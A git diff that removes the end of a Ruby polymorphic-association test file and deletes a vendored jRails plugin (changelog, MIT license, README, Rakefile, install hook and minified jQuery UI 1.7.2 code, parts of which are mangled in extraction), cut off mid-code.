# XXX - end - - def test_push_with_skip_duplicates_false_doesnt_load_target - # Loading kibbles locally again because setup calls .size which loads target - kibbles = Petfood.find(1) - assert !kibbles.eaters.loaded? - assert !(kibbles.eater_dogs << Dog.create!(:name => "Mongy")).loaded? - assert !kibbles.eaters.loaded? - end - - def test_association_foreign_key_is_sane - assert_equal "eater_id", Petfood.reflect_on_association(:eaters).association_foreign_key - end - - def test_reflection_instance_methods_are_sane - assert_equal EatersFoodstuff, Petfood.reflect_on_association(:eaters).klass - assert_equal EatersFoodstuff.name, Petfood.reflect_on_association(:eaters).class_name - end - - def test_parent_order - @alice.foodstuffs_of_eaters << Petfood.find(:all, :order => "the_petfood_primary_key ASC") - @alice.reload #not necessary - assert_equal [2,1], @alice.foodstuffs_of_eaters.map(&:id) - end - - def test_parent_conditions - @kibbles.eaters << @alice - assert_equal [@alice], @kibbles.eaters - - @snausages = Petfood.create(:name => 'Snausages') - @snausages.eaters << @alice - assert_equal [@alice], @snausages.eaters - - assert_equal [@kibbles], @alice.foodstuffs_of_eaters - end - - def test_self_referential_hmp_with_conditions - p = Person.find(:first) - kid = Person.create(:name => "Tim", :age => 3) - p.kids << kid - - kid.reload; p.reload - - # assert_equal [p], kid.parents - # assert Rails.has_one? Bug - # non-standard foreign_type key is not set properly when you are the polymorphic interface of a has_many going to a :through - - assert_equal [kid], p.kids - assert_equal [kid], p.people - end - -# def test_polymorphic_include -# @kibbles.eaters << [@kibbles, @alice, @puma, @spot, @bits] -# assert @kibbles.eaters.include?(@kibbles.eaters_foodstuffs.find(:all, :include => :eater).first.eater) -# end -# -# def test_double_polymorphic_include -# end -# -# def test_single_child_include -# end -# -# def test_double_child_include -# end -# -# def test_single_include_from_parent -# end -# -# def test_double_include_from_parent -# end -# -# def test_meta_referential_single_include -# end -# -# def test_meta_referential_double_include -# end -# -# def test_meta_referential_single_include -# end -# -# def test_meta_referential_single_double_multi_include -# end -# -# def test_dont_ignore_duplicates -# end -# -# def test_ignore_duplicates -# end -# -# def test_tagging_system_generator -# end -# -# def test_tagging_system_library -# end - -end diff --git a/vendor/plugins/jrails/.gitignore b/vendor/plugins/jrails/.gitignore deleted file mode 100644 index 088af208..00000000 --- a/vendor/plugins/jrails/.gitignore +++ /dev/null @@ -1 +0,0 @@ -pkg/* diff --git a/vendor/plugins/jrails/CHANGELOG b/vendor/plugins/jrails/CHANGELOG deleted file mode 100644 index 5e6a83c2..00000000 --- a/vendor/plugins/jrails/CHANGELOG +++ /dev/null @@ -1,43 +0,0 @@ -0.5.0 (31 July 2009) -* Gemification -* Support for Ruby 1.9.X -* Updated to jQuery 1.3.2 -* Updated to jQuery UI 1.7.2 -* Created a jrails binary (runs rake tasks) because rails does not (yet?) pickup -tasks from gem plugins -* Changed default to use jQuery compatibility name (not $) -* Created a scrub task that will remove the prototype / script.aculo.us -javascript files -* better approximate scriptaculous effect names -* add support for page[:element_id].visual_effect(:effect) as well as page.visual_effect(:effect, :element_id) -* added a reset form function to jrails.js (stolen from jquery form) -* can now use jquery selectors in all functions -* added javascript_function helper to render inline rjs helpers -* better support for sortable_element - -0.4.0 (16 June 2008) -* updated to jquery-ui 1.5 & merged js into single file -* Added jQuery.noConflict support -* support for value/val -* additional support for update/delete methods -* support for success/failure hash -* setRequestHeader now gets called globally -* Better support for droppables, sortables -* Add support for prototype AJAX callbacks -* better support for AJAX form calls - -0.3.0 (22 Feb 2008) -* updated to jquery-fx 1.0b and jquery-ui 1.5b -* Add text/javascript request header to fix format.js -* Added Tasks (thanks ggarside) -* Improve visual_effects methods -* Fixed some RJS calls -* Fixed observer code for ie - -0.2.0 (26 Nov 2007) -* Vastly Improved FX -* Improved Form Observers -* Fixed Rails <= 1.2.6 Compatibility - -0.1.0 (15 Nov 2007) -* Initial release diff --git a/vendor/plugins/jrails/LICENSE b/vendor/plugins/jrails/LICENSE deleted file mode 100644 index 66afde43..00000000 --- a/vendor/plugins/jrails/LICENSE +++ /dev/null @@ -1,18 +0,0 @@ -Copyright (c) 2008 Aaron Eisenberger - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/jrails/README.rdoc b/vendor/plugins/jrails/README.rdoc deleted file mode 100644 index 0519f92e..00000000 --- a/vendor/plugins/jrails/README.rdoc +++ /dev/null @@ -1,21 +0,0 @@ -= jRails - -jRails is a drop-in jQuery replacement for the Rails Prototype/script.aculo.us helpers. - -== Resources - -Install - -* .script/plugin install git://github.com/aaronchi/jrails.git - -Project Site - -* http://code.google.com/p/ennerchi - -Web Site - -* http://www.ennerchi.com/projects/jrails - -Group Site - -* http://groups.google.com/group/jrails diff --git a/vendor/plugins/jrails/Rakefile b/vendor/plugins/jrails/Rakefile deleted file mode 100644 index ab336c2f..00000000 --- a/vendor/plugins/jrails/Rakefile +++ /dev/null @@ -1,18 +0,0 @@ -require 'rubygems' -require 'rake' - -begin - require 'jeweler' - Jeweler::Tasks.new do |gem| - gem.name = "jrails" - gem.summary = "jRails is a drop-in jQuery replacement for the Rails Prototype/script.aculo.us helpers." - gem.description = "Using jRails, you can get all of the same default Rails helpers for javascript functionality using the lighter jQuery library." - gem.email = "aaronchi@gmail.com" - gem.homepage = "http://ennerchi.com/projects/jrails" - gem.authors = ["Aaron Eisenberger", "Patrick Hurley"] - gem.rubyforge_project = "jrails" - gem.files = FileList["[A-Z]*.rb","{bin,javascripts,lib,rails,tasks}/**/*"] - end -rescue LoadError - puts "Jeweler (or a dependency) not available. Install it with: sudo gem install jeweler" -end \ No newline at end of file diff --git a/vendor/plugins/jrails/VERSION.yml b/vendor/plugins/jrails/VERSION.yml deleted file mode 100644 index 61a5e390..00000000 --- a/vendor/plugins/jrails/VERSION.yml +++ /dev/null @@ -1,4 +0,0 @@ ---- -:patch: 1 -:major: 0 -:minor: 5 \ No newline at end of file diff --git a/vendor/plugins/jrails/bin/jrails b/vendor/plugins/jrails/bin/jrails deleted file mode 100755 index 8bfd07bf..00000000 --- a/vendor/plugins/jrails/bin/jrails +++ /dev/null @@ -1,30 +0,0 @@ -#!/usr/bin/env ruby - -require 'rubygems' -require 'rake' - -RAILS_ROOT = Dir.pwd -rakeapp = Rake.application -fname =File.join(File.dirname(__FILE__), '..', 'tasks', 'jrails.rake') -load fname - -task :help do - puts "jrails [command]\n\n" - rakeapp.options.show_task_pattern = Regexp.new('^[hius]') - rakeapp.display_tasks_and_comments -end - -desc 'Installs the jQuery and jRails javascripts to public/javascripts' -task :install do - Rake::Task['jrails:js:install'].invoke -end - -desc 'Remove the prototype / script.aculo.us javascript files' -task :scrub do - Rake::Task['jrails:js:scrub'].invoke -end - -rakeapp.init("jrails") -task :default => [:help] - -rakeapp.top_level diff --git a/vendor/plugins/jrails/init.rb b/vendor/plugins/jrails/init.rb deleted file mode 100644 index ca9c82a9..00000000 --- a/vendor/plugins/jrails/init.rb +++ /dev/null @@ -1 +0,0 @@ -require 'rails/init.rb' diff --git a/vendor/plugins/jrails/install.rb b/vendor/plugins/jrails/install.rb deleted file mode 100644 index d8f6e9bf..00000000 --- a/vendor/plugins/jrails/install.rb +++ /dev/null @@ -1,9 +0,0 @@ -# Install hook code here -puts "Copying files..." -dir = "javascripts" -["jquery-ui.js", "jquery.js", "jrails.js"].each do |js_file| - dest_file = File.join(RAILS_ROOT, "public", dir, js_file) - src_file = File.join(File.dirname(__FILE__) , dir, js_file) - FileUtils.cp_r(src_file, dest_file) -end -puts "Files copied - Installation complete!" diff --git a/vendor/plugins/jrails/javascripts/jquery-ui.js b/vendor/plugins/jrails/javascripts/jquery-ui.js deleted file mode 100644 index 3efce203..00000000 --- a/vendor/plugins/jrails/javascripts/jquery-ui.js +++ /dev/null @@ -1,188 +0,0 @@ -/* - * jQuery UI 1.7.2 - * - * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about) - * Dual licensed under the MIT (MIT-LICENSE.txt) - * and GPL (GPL-LICENSE.txt) licenses. - * - * http://docs.jquery.com/UI - */ -jQuery.ui||(function(c){var i=c.fn.remove,d=c.browser.mozilla&&(parseFloat(c.browser.version)<1.9);c.ui={version:"1.7.2",plugin:{add:function(k,l,n){var m=c.ui[k].prototype;for(var j in n){m.plugins[j]=m.plugins[j]||[];m.plugins[j].push([l,n[j]])}},call:function(j,l,k){var n=j.plugins[l];if(!n||!j.element[0].parentNode){return}for(var m=0;m0){return true}m[j]=1;l=(m[j]>0);m[j]=0;return l},isOverAxis:function(k,j,l){return(k>j)&&(k<(j+l))},isOver:function(o,k,n,m,j,l){return c.ui.isOverAxis(o,n,j)&&c.ui.isOverAxis(k,m,l)},keyCode:{BACKSPACE:8,CAPS_LOCK:20,COMMA:188,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38}};if(d){var f=c.attr,e=c.fn.removeAttr,h="http://www.w3.org/2005/07/aaa",a=/^aria-/,b=/^wairole:/;c.attr=function(k,j,l){var m=l!==undefined;return(j=="role"?(m?f.call(this,k,j,"wairole:"+l):(f.apply(this,arguments)||"").replace(b,"")):(a.test(j)?(m?k.setAttributeNS(h,j.replace(a,"aaa:"),l):f.call(this,k,j.replace(a,"aaa:"))):f.apply(this,arguments)))};c.fn.removeAttr=function(j){return(a.test(j)?this.each(function(){this.removeAttributeNS(h,j.replace(a,""))}):e.call(this,j))}}c.fn.extend({remove:function(){c("*",this).add(this).each(function(){c(this).triggerHandler("remove")});return i.apply(this,arguments)},enableSelection:function(){return this.attr("unselectable","off").css("MozUserSelect","").unbind("selectstart.ui")},disableSelection:function(){return this.attr("unselectable","on").css("MozUserSelect","none").bind("selectstart.ui",function(){return false})},scrollParent:function(){var j;if((c.browser.msie&&(/(static|relative)/).test(this.css("position")))||(/absolute/).test(this.css("position"))){j=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test(c.curCSS(this,"position",1))&&(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}else{j=this.parents().filter(function(){return(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}return(/fixed/).test(this.css("position"))||!j.length?c(document):j}});c.extend(c.expr[":"],{data:function(l,k,j){return !!c.data(l,j[3])},focusable:function(k){var l=k.nodeName.toLowerCase(),j=c.attr(k,"tabindex");return(/input|select|textarea|button|object/.test(l)?!k.disabled:"a"==l||"area"==l?k.href||!isNaN(j):!isNaN(j))&&!c(k)["area"==l?"parents":"closest"](":hidden").length},tabbable:function(k){var j=c.attr(k,"tabindex");return(isNaN(j)||j>=0)&&c(k).is(":focusable")}});function g(m,n,o,l){function k(q){var p=c[m][n][q]||[];return(typeof p=="string"?p.split(/,?\s+/):p)}var j=k("getter");if(l.length==1&&typeof l[0]=="string"){j=j.concat(k("getterSetter"))}return(c.inArray(o,j)!=-1)}c.widget=function(k,j){var l=k.split(".")[0];k=k.split(".")[1];c.fn[k]=function(p){var n=(typeof p=="string"),o=Array.prototype.slice.call(arguments,1);if(n&&p.substring(0,1)=="_"){return this}if(n&&g(l,k,p,o)){var m=c.data(this[0],k);return(m?m[p].apply(m,o):undefined)}return this.each(function(){var q=c.data(this,k);(!q&&!n&&c.data(this,k,new c[l][k](this,p))._init());(q&&n&&c.isFunction(q[p])&&q[p].apply(q,o))})};c[l]=c[l]||{};c[l][k]=function(o,n){var m=this;this.namespace=l;this.widgetName=k;this.widgetEventPrefix=c[l][k].eventPrefix||k;this.widgetBaseClass=l+"-"+k;this.options=c.extend({},c.widget.defaults,c[l][k].defaults,c.metadata&&c.metadata.get(o)[k],n);this.element=c(o).bind("setData."+k,function(q,p,r){if(q.target==o){return m._setData(p,r)}}).bind("getData."+k,function(q,p){if(q.target==o){return m._getData(p)}}).bind("remove",function(){return m.destroy()})};c[l][k].prototype=c.extend({},c.widget.prototype,j);c[l][k].getterSetter="option"};c.widget.prototype={_init:function(){},destroy:function(){this.element.removeData(this.widgetName).removeClass(this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").removeAttr("aria-disabled")},option:function(l,m){var k=l,j=this;if(typeof l=="string"){if(m===undefined){return this._getData(l)}k={};k[l]=m}c.each(k,function(n,o){j._setData(n,o)})},_getData:function(j){return this.options[j]},_setData:function(j,k){this.options[j]=k;if(j=="disabled"){this.element[k?"addClass":"removeClass"](this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").attr("aria-disabled",k)}},enable:function(){this._setData("disabled",false)},disable:function(){this._setData("disabled",true)},_trigger:function(l,m,n){var p=this.options[l],j=(l==this.widgetEventPrefix?l:this.widgetEventPrefix+l);m=c.Event(m);m.type=j;if(m.originalEvent){for(var k=c.event.props.length,o;k;){o=c.event.props[--k];m[o]=m.originalEvent[o]}}this.element.trigger(m,n);return !(c.isFunction(p)&&p.call(this.element[0],m,n)===false||m.isDefaultPrevented())}};c.widget.defaults={disabled:false};c.ui.mouse={_mouseInit:function(){var j=this;this.element.bind("mousedown."+this.widgetName,function(k){return j._mouseDown(k)}).bind("click."+this.widgetName,function(k){if(j._preventClickEvent){j._preventClickEvent=false;k.stopImmediatePropagation();return false}});if(c.browser.msie){this._mouseUnselectable=this.element.attr("unselectable");this.element.attr("unselectable","on")}this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName);(c.browser.msie&&this.element.attr("unselectable",this._mouseUnselectable))},_mouseDown:function(l){l.originalEvent=l.originalEvent||{};if(l.originalEvent.mouseHandled){return}(this._mouseStarted&&this._mouseUp(l));this._mouseDownEvent=l;var k=this,m=(l.which==1),j=(typeof this.options.cancel=="string"?c(l.target).parents().add(l.target).filter(this.options.cancel).length:false);if(!m||j||!this._mouseCapture(l)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){k.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(l)&&this._mouseDelayMet(l)){this._mouseStarted=(this._mouseStart(l)!==false);if(!this._mouseStarted){l.preventDefault();return true}}this._mouseMoveDelegate=function(n){return k._mouseMove(n)};this._mouseUpDelegate=function(n){return k._mouseUp(n)};c(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);(c.browser.safari||l.preventDefault());l.originalEvent.mouseHandled=true;return true},_mouseMove:function(j){if(c.browser.msie&&!j.button){return this._mouseUp(j)}if(this._mouseStarted){this._mouseDrag(j);return j.preventDefault()}if(this._mouseDistanceMet(j)&&this._mouseDelayMet(j)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,j)!==false);(this._mouseStarted?this._mouseDrag(j):this._mouseUp(j))}return !this._mouseStarted},_mouseUp:function(j){c(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;this._preventClickEvent=(j.target==this._mouseDownEvent.target);this._mouseStop(j)}return false},_mouseDistanceMet:function(j){return(Math.max(Math.abs(this._mouseDownEvent.pageX-j.pageX),Math.abs(this._mouseDownEvent.pageY-j.pageY))>=this.options.distance)},_mouseDelayMet:function(j){return this.mouseDelayMet},_mouseStart:function(j){},_mouseDrag:function(j){},_mouseStop:function(j){},_mouseCapture:function(j){return true}};c.ui.mouse.defaults={cancel:null,distance:1,delay:0}})(jQuery);;/* - * jQuery UI Draggable 1.7.2 - * - * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about) - * Dual licensed under the MIT (MIT-LICENSE.txt) - * and GPL (GPL-LICENSE.txt) licenses. - * - * http://docs.jquery.com/UI/Draggables - * - * Depends: - * ui.core.js - */ -(function(a){a.widget("ui.draggable",a.extend({},a.ui.mouse,{_init:function(){if(this.options.helper=="original"&&!(/^(?:r|a|f)/).test(this.element.css("position"))){this.element[0].style.position="relative"}(this.options.addClasses&&this.element.addClass("ui-draggable"));(this.options.disabled&&this.element.addClass("ui-draggable-disabled"));this._mouseInit()},destroy:function(){if(!this.element.data("draggable")){return}this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy()},_mouseCapture:function(b){var c=this.options;if(this.helper||c.disabled||a(b.target).is(".ui-resizable-handle")){return false}this.handle=this._getHandle(b);if(!this.handle){return false}return true},_mouseStart:function(b){var c=this.options;this.helper=this._createHelper(b);this._cacheHelperProportions();if(a.ui.ddmanager){a.ui.ddmanager.current=this}this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.element.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(b);this.originalPageX=b.pageX;this.originalPageY=b.pageY;if(c.cursorAt){this._adjustOffsetFromHelper(c.cursorAt)}if(c.containment){this._setContainment()}this._trigger("start",b);this._cacheHelperProportions();if(a.ui.ddmanager&&!c.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,b)}this.helper.addClass("ui-draggable-dragging");this._mouseDrag(b,true);return true},_mouseDrag:function(b,d){this.position=this._generatePosition(b);this.positionAbs=this._convertPositionTo("absolute");if(!d){var c=this._uiHash();this._trigger("drag",b,c);this.position=c.position}if(!this.options.axis||this.options.axis!="y"){this.helper[0].style.left=this.position.left+"px"}if(!this.options.axis||this.options.axis!="x"){this.helper[0].style.top=this.position.top+"px"}if(a.ui.ddmanager){a.ui.ddmanager.drag(this,b)}return false},_mouseStop:function(c){var d=false;if(a.ui.ddmanager&&!this.options.dropBehaviour){d=a.ui.ddmanager.drop(this,c)}if(this.dropped){d=this.dropped;this.dropped=false}if((this.options.revert=="invalid"&&!d)||(this.options.revert=="valid"&&d)||this.options.revert===true||(a.isFunction(this.options.revert)&&this.options.revert.call(this.element,d))){var b=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){b._trigger("stop",c);b._clear()})}else{this._trigger("stop",c);this._clear()}return false},_getHandle:function(b){var c=!this.options.handle||!a(this.options.handle,this.element).length?true:false;a(this.options.handle,this.element).find("*").andSelf().each(function(){if(this==b.target){c=true}});return c},_createHelper:function(c){var d=this.options;var b=a.isFunction(d.helper)?a(d.helper.apply(this.element[0],[c])):(d.helper=="clone"?this.element.clone():this.element);if(!b.parents("body").length){b.appendTo((d.appendTo=="parent"?this.element[0].parentNode:d.appendTo))}if(b[0]!=this.element[0]&&!(/(fixed|absolute)/).test(b.css("position"))){b.css("position","absolute")}return b},_adjustOffsetFromHelper:function(b){if(b.left!=undefined){this.offset.click.left=b.left+this.margins.left}if(b.right!=undefined){this.offset.click.left=this.helperProportions.width-b.right+this.margins.left}if(b.top!=undefined){this.offset.click.top=b.top+this.margins.top}if(b.bottom!=undefined){this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top}},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var b=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){b.left+=this.scrollParent.scrollLeft();b.top+=this.scrollParent.scrollTop()}if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)){b={top:0,left:0}}return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var b=this.element.position();return{top:b.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:b.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else{return{top:0,left:0}}},_cacheMargins:function(){this.margins={left:(parseInt(this.element.css("marginLeft"),10)||0),top:(parseInt(this.element.css("marginTop"),10)||0)}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e=this.options;if(e.containment=="parent"){e.containment=this.helper[0].parentNode}if(e.containment=="document"||e.containment=="window"){this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,a(e.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a(e.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]}if(!(/^(document|window|parent)$/).test(e.containment)&&e.containment.constructor!=Array){var c=a(e.containment)[0];if(!c){return}var d=a(e.containment).offset();var b=(a(c).css("overflow")!="hidden");this.containment=[d.left+(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0)-this.margins.left,d.top+(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0)-this.margins.top,d.left+(b?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,d.top+(b?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"),10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}else{if(e.containment.constructor==Array){this.containment=e.containment}}},_convertPositionTo:function(f,h){if(!h){h=this.position}var c=f=="absolute"?1:-1;var e=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=(/(html|body)/i).test(b[0].tagName);return{top:(h.top+this.offset.relative.top*c+this.offset.parent.top*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(g?0:b.scrollTop()))*c)),left:(h.left+this.offset.relative.left*c+this.offset.parent.left*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:b.scrollLeft())*c))}},_generatePosition:function(e){var h=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,i=(/(html|body)/i).test(b[0].tagName);if(this.cssPosition=="relative"&&!(this.scrollParent[0]!=document&&this.scrollParent[0]!=this.offsetParent[0])){this.offset.relative=this._getRelativeOffset()}var d=e.pageX;var c=e.pageY;if(this.originalPosition){if(this.containment){if(e.pageX-this.offset.click.leftthis.containment[2]){d=this.containment[2]+this.offset.click.left}if(e.pageY-this.offset.click.top>this.containment[3]){c=this.containment[3]+this.offset.click.top}}if(h.grid){var g=this.originalPageY+Math.round((c-this.originalPageY)/h.grid[1])*h.grid[1];c=this.containment?(!(g-this.offset.click.topthis.containment[3])?g:(!(g-this.offset.click.topthis.containment[2])?f:(!(f-this.offset.click.left
    ').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1000}).css(a(this).offset()).appendTo("body")})},stop:function(b,c){a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});a.ui.plugin.add("draggable","opacity",{start:function(c,d){var b=a(d.helper),e=a(this).data("draggable").options;if(b.css("opacity")){e._opacity=b.css("opacity")}b.css("opacity",e.opacity)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._opacity){a(c.helper).css("opacity",d._opacity)}}});a.ui.plugin.add("draggable","scroll",{start:function(c,d){var b=a(this).data("draggable");if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!="HTML"){b.overflowOffset=b.scrollParent.offset()}},drag:function(d,e){var c=a(this).data("draggable"),f=c.options,b=false;if(c.scrollParent[0]!=document&&c.scrollParent[0].tagName!="HTML"){if(!f.axis||f.axis!="x"){if((c.overflowOffset.top+c.scrollParent[0].offsetHeight)-d.pageY=0;v--){var s=g.snapElements[v].left,n=s+g.snapElements[v].width,m=g.snapElements[v].top,A=m+g.snapElements[v].height;if(!((s-y=p&&n<=k)||(m>=p&&m<=k)||(nk))&&((e>=g&&e<=c)||(d>=g&&d<=c)||(ec));break;default:return false;break}};a.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(e,g){var b=a.ui.ddmanager.droppables[e.options.scope];var f=g?g.type:null;var h=(e.currentItem||e.element).find(":data(droppable)").andSelf();droppablesLoop:for(var d=0;d=0;b--){this.items[b].item.removeData("sortable-item")}},_mouseCapture:function(e,f){if(this.reverting){return false}if(this.options.disabled||this.options.type=="static"){return false}this._refreshItems(e);var d=null,c=this,b=a(e.target).parents().each(function(){if(a.data(this,"sortable-item")==c){d=a(this);return false}});if(a.data(e.target,"sortable-item")==c){d=a(e.target)}if(!d){return false}if(this.options.handle&&!f){var g=false;a(this.options.handle,d).find("*").andSelf().each(function(){if(this==e.target){g=true}});if(!g){return false}}this.currentItem=d;this._removeCurrentsFromItems();return true},_mouseStart:function(e,f,b){var g=this.options,c=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(e);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");a.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(e);this.originalPageX=e.pageX;this.originalPageY=e.pageY;if(g.cursorAt){this._adjustOffsetFromHelper(g.cursorAt)}this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]};if(this.helper[0]!=this.currentItem[0]){this.currentItem.hide()}this._createPlaceholder();if(g.containment){this._setContainment()}if(g.cursor){if(a("body").css("cursor")){this._storedCursor=a("body").css("cursor")}a("body").css("cursor",g.cursor)}if(g.opacity){if(this.helper.css("opacity")){this._storedOpacity=this.helper.css("opacity")}this.helper.css("opacity",g.opacity)}if(g.zIndex){if(this.helper.css("zIndex")){this._storedZIndex=this.helper.css("zIndex")}this.helper.css("zIndex",g.zIndex)}if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){this.overflowOffset=this.scrollParent.offset()}this._trigger("start",e,this._uiHash());if(!this._preserveHelperProportions){this._cacheHelperProportions()}if(!b){for(var d=this.containers.length-1;d>=0;d--){this.containers[d]._trigger("activate",e,c._uiHash(this))}}if(a.ui.ddmanager){a.ui.ddmanager.current=this}if(a.ui.ddmanager&&!g.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,e)}this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(e);return true},_mouseDrag:function(f){this.position=this._generatePosition(f);this.positionAbs=this._convertPositionTo("absolute");if(!this.lastPositionAbs){this.lastPositionAbs=this.positionAbs}if(this.options.scroll){var g=this.options,b=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if((this.overflowOffset.top+this.scrollParent[0].offsetHeight)-f.pageY=0;d--){var e=this.items[d],c=e.item[0],h=this._intersectsWithPointer(e);if(!h){continue}if(c!=this.currentItem[0]&&this.placeholder[h==1?"next":"prev"]()[0]!=c&&!a.ui.contains(this.placeholder[0],c)&&(this.options.type=="semi-dynamic"?!a.ui.contains(this.element[0],c):true)){this.direction=h==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(e)){this._rearrange(f,e)}else{break}this._trigger("change",f,this._uiHash());break}}this._contactContainers(f);if(a.ui.ddmanager){a.ui.ddmanager.drag(this,f)}this._trigger("sort",f,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(c,d){if(!c){return}if(a.ui.ddmanager&&!this.options.dropBehaviour){a.ui.ddmanager.drop(this,c)}if(this.options.revert){var b=this;var e=b.placeholder.offset();b.reverting=true;a(this.helper).animate({left:e.left-this.offset.parent.left-b.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:e.top-this.offset.parent.top-b.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){b._clear(c)})}else{this._clear(c,d)}return false},cancel:function(){var 